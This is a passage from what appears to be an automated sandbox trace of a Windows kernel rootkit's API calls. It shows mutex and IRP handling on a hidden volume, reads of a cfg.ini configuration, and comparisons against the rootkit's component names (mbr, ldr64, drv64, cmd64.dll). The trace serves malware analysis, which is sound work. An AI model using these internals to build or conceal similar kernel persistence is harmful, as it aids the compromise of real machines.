FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.150] KeLeaveCriticalRegion () [0121.150] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.150] KeEnterCriticalRegion () [0121.150] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.150] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.150] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.150] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.150] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.150] IdePortDispatch () returned 0x103 [0121.150] KeWaitForMutexObject () returned 0x0 [0121.150] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.150] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.150] KeLeaveCriticalRegion () [0121.150] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.150] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.150] KeEnterCriticalRegion () [0121.150] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.151] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035c7000 [0121.151] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.151] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.151] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.151] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.151] IdePortDispatch () returned 0x103 [0121.151] KeWaitForMutexObject () returned 0x0 [0121.151] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.151] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.151] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.151] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.151] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.151] IdePortDispatch () returned 0x103 [0121.151] KeWaitForMutexObject () returned 0x0 [0121.151] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.151] KeLeaveCriticalRegion () [0121.151] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.152] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.152] KeEnterCriticalRegion () [0121.152] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.152] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.152] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.152] KeLeaveCriticalRegion () [0121.152] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.152] KeEnterCriticalRegion () [0121.152] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.152] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.152] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003b67c60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.152] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.152] KeLeaveCriticalRegion () [0121.152] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.152] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.152] KeEnterCriticalRegion () [0121.152] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.152] ExFreePoolWithTag (P=0xfffffa8003bc3b60, Tag=0x0) [0121.152] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.152] KeLeaveCriticalRegion () [0121.152] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.152] ReleaseMutex (hMutex=0xf0) returned 1 [0121.152] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.152] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0121.152] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.153] KeEnterCriticalRegion () [0121.153] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.153] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.153] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.153] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.153] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.153] IdePortDispatch () returned 0x103 [0121.153] KeWaitForMutexObject () returned 0x0 [0121.153] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.153] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.153] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.153] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.153] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.153] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbd650 [0121.153] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.153] KeLeaveCriticalRegion () [0121.153] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.153] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.153] KeEnterCriticalRegion () [0121.153] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.153] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.153] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.153] KeLeaveCriticalRegion () [0121.153] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.153] KeEnterCriticalRegion () [0121.153] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.153] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.153] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.153] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.153] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.154] IdePortDispatch () returned 0x103 [0121.154] KeWaitForMutexObject () returned 0x0 [0121.154] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.154] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.154] KeLeaveCriticalRegion () [0121.154] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.154] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.154] KeEnterCriticalRegion () [0121.154] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.154] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035c8000 [0121.154] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.154] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.154] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.154] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.154] IdePortDispatch () returned 0x103 [0121.154] KeWaitForMutexObject () returned 0x0 [0121.154] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.154] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.154] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.154] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.154] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.154] IdePortDispatch () returned 0x103 [0121.154] KeWaitForMutexObject () returned 0x0 [0121.155] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.155] KeLeaveCriticalRegion () [0121.155] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.155] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.155] KeEnterCriticalRegion () [0121.155] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.155] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.155] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.155] KeLeaveCriticalRegion () [0121.155] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.155] KeEnterCriticalRegion () [0121.155] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.155] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.155] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbe070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.155] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.155] KeLeaveCriticalRegion () [0121.155] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.155] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.155] KeEnterCriticalRegion () [0121.155] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.155] ExFreePoolWithTag (P=0xfffffa8003bbd650, Tag=0x0) [0121.155] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.155] KeLeaveCriticalRegion () [0121.155] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.155] ReleaseMutex (hMutex=0xf0) returned 1 [0121.155] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0121.156] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0121.156] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0121.156] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.156] KeEnterCriticalRegion () [0121.156] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.156] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.156] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.156] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.156] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.156] IdePortDispatch () returned 0x103 [0121.156] KeWaitForMutexObject () returned 0x0 [0121.156] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.156] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.156] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.156] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.156] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.156] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.156] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.156] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.156] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.156] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.156] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.156] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.156] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.156] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.156] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.156] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.156] KeLeaveCriticalRegion () [0121.156] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.156] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0121.156] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.156] KeEnterCriticalRegion () [0121.156] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.156] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.156] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.156] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.156] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.156] IdePortDispatch () returned 0x103 [0121.157] KeWaitForMutexObject () returned 0x0 [0121.157] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.157] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.157] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.157] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.157] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.157] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.157] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.157] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.157] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.157] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.157] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.157] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.157] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.157] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.157] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.157] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.157] KeLeaveCriticalRegion () [0121.157] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.157] ReleaseMutex (hMutex=0x100) returned 1 [0121.157] Sleep (dwMilliseconds=0x2bf20) [0121.164] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6b6a6f70, dwHighDateTime=0x1d24fa4)) [0121.164] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0121.164] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.164] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.164] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.164] KeEnterCriticalRegion () [0121.164] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.164] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.164] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.164] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.164] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.164] IdePortDispatch () returned 0x103 [0121.164] KeWaitForMutexObject () returned 0x0 [0121.165] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.165] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.165] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.165] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.165] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.165] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003b67cf0 [0121.165] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.165] KeLeaveCriticalRegion () [0121.165] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.165] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.165] KeEnterCriticalRegion () [0121.165] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.165] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.165] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.165] KeLeaveCriticalRegion () [0121.165] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.165] KeEnterCriticalRegion () [0121.165] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.165] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.165] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.165] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.165] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.165] IdePortDispatch () returned 0x103 [0121.165] KeWaitForMutexObject () returned 0x0 [0121.165] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.165] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.165] KeLeaveCriticalRegion () [0121.165] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.165] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.165] KeEnterCriticalRegion () [0121.165] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.165] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035cb000 [0121.165] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.165] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.165] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.165] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.165] IdePortDispatch () returned 0x103 [0121.166] KeWaitForMutexObject () returned 0x0 [0121.166] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.166] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.166] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.166] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.166] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.166] IdePortDispatch () returned 0x103 [0121.166] KeWaitForMutexObject () returned 0x0 [0121.166] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.166] KeLeaveCriticalRegion () [0121.166] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.166] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.166] KeEnterCriticalRegion () [0121.166] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.167] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.167] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.167] KeLeaveCriticalRegion () [0121.167] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.167] KeEnterCriticalRegion () [0121.167] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.167] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.167] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbd610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.167] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.167] KeLeaveCriticalRegion () [0121.167] IofCompleteRequest 